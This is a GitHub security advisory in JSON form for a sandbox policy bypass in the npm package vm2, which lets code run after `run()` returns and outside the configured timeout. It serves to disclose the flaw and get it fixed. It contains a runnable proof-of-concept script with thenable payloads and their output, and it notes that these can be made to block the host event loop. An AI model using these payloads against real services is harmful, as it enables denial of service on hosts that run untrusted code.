{"id":"GHSA-f8gf-w286-fmq2","summary":"vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM","details":"### Summary\n\nWhen `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.\n\nThis bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.\n\n### Details\n\nThe documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:\n\n- `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.\n- `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.\n\nHowever, Promise static methods are still exposed and rebound to `localPromise`:\n\n- `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.\n- `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.\n- `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.\n- `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.\n- `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.\n\nThose wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.\n\n`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.\n\nThe transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\\u`, so `lib/transformer.js:82-89` returns without AST parsing.\n\n### PoC\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\nnpm install\nnode - \u003c\u003c'NODE'\nconst {VM, NodeVM} = require('./');\n\nasync function runVmCase(name, code) {\n  const events = [];\n  const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value =\u003e events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve =\u003e setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '\u003cnone\u003e'}`);\n}\n\nasync function runNodeVmCase(name, code) {\n  const events = [];\n  const vm = new NodeVM({allowAsync: false, sandbox: {mark: value =\u003e events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve =\u003e setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '\u003cnone\u003e'}`);\n}\n\n(async () =\u003e {\n  await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);\n  await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);\n  await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);\n  await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);\n  await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);\n  await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);\n\n  await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);\n  await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);\n\n  const timeoutEvents = [];\n  const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value =\u003e timeoutEvents.push(value)}});\n  const started = Date.now();\n  const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t\u003c35){};mark(Date.now())}}); 1`);\n  const afterRun = Date.now();\n  await new Promise(resolve =\u003e setImmediate(resolve));\n  console.log(`timeout case returned: ${ret}`);\n  console.log(`timeout case runReturnedInMs: ${afterRun - started}`);\n  console.log(`timeout case events: ${timeoutEvents.length}`);\n  console.log(`timeout case elapsedMs: ${Date.now() - started}`);\n})();\nNODE\n```\n\nExpected vulnerable output pattern:\n\n```text\nVM Promise.resolve thenable: returned 1\nVM Promise.resolve thenable events: resolve-thenable\nVM Promise.all thenable: returned 1\nVM Promise.all thenable events: all-thenable\nVM Promise.race thenable: returned 1\nVM Promise.race thenable events: race-thenable\nVM Promise.any thenable: returned 1\nVM Promise.any thenable events: any-thenable\nVM Promise.allSettled thenable: returned 1\nVM Promise.allSettled thenable events: allSettled-thenable\nVM direct then negative control: threw VMError:Async not available\nVM direct then negative control events: \u003cnone\u003e\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then negative control: threw VMError:Async not available\nNodeVM direct then negative control events: \u003cnone\u003e\ntimeout case returned: 1\ntimeout case runReturnedInMs: 0\ntimeout case events: 1\ntimeout case elapsedMs: 35\n```\n\nObserved local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:\n\n```json\n{\n  \"results\": [\n    [\"Promise.resolve thenable\", \"run-returned\", 1],\n    [\"Promise.resolve thenable events\", \"resolve-thenable\"],\n    [\"Promise.all thenable\", \"run-returned\", 1],\n    [\"Promise.all thenable events\", \"all-thenable\"],\n    [\"Promise.race thenable\", \"run-returned\", 1],\n    [\"Promise.race thenable events\", \"race-thenable\"],\n    [\"Promise.any thenable\", \"run-returned\", 1],\n    [\"Promise.any thenable events\", \"any-thenable\"],\n    [\"Promise.allSettled thenable\", \"run-returned\", 1],\n    [\"Promise.allSettled thenable events\", \"allSettled-thenable\"],\n    [\"direct then control\", \"threw\", \"VMError:Async not available\"],\n    [\"direct then control events\", \"\u003cnone\u003e\"]\n  ],\n  \"timeoutCase\": {\n    \"ret\": 1,\n    \"runReturnedInMs\": 0,\n    \"events\": [1779866562491],\n    \"elapsedMs\": 35\n  }\n}\n```\n\nObserved `NodeVM` variant output:\n\n```text\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then control: threw VMError:Async not available\nNodeVM direct then control events: \u003cnone\u003e\n```\n\n### Impact\n\nApplications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.\n\nA malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.\n\nNegative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.\n\n### Suggested remediation\n\nWhen `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.\n\nAdd regression tests for `VM` and `NodeVM` that verify:\n\n- `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`.\n- `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements.\n- Direct `.then()` remains blocked.\n- A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation.\n\n## Variant analysis summary\n\nConfirmed variants:\n\n- `VM({allowAsync:false}).run('Promise.resolve(thenable)')`\n- `VM({allowAsync:false}).run('Promise.all([thenable])')`\n- `VM({allowAsync:false}).run('Promise.race([thenable])')`\n- `VM({allowAsync:false}).run('Promise.any([thenable])')`\n- `VM({allowAsync:false}).run('Promise.allSettled([thenable])')`\n- `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')`\n\nNegative cases checked:\n\n- Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`.\n- NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","aliases":["CVE-2026-92959"],"modified":"2026-10-05T23:00:04.244128331Z","published":"2026-10-05T22:47:34Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-05T22:47:34Z","nvd_published_at":null,"cwe_ids":["CWE-693"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92959"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-f8gf-w286-fmq2/GHSA-f8gf-w286-fmq2.json","last_known_affected_version_range":"\u003c= 3.11.7"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N"}]}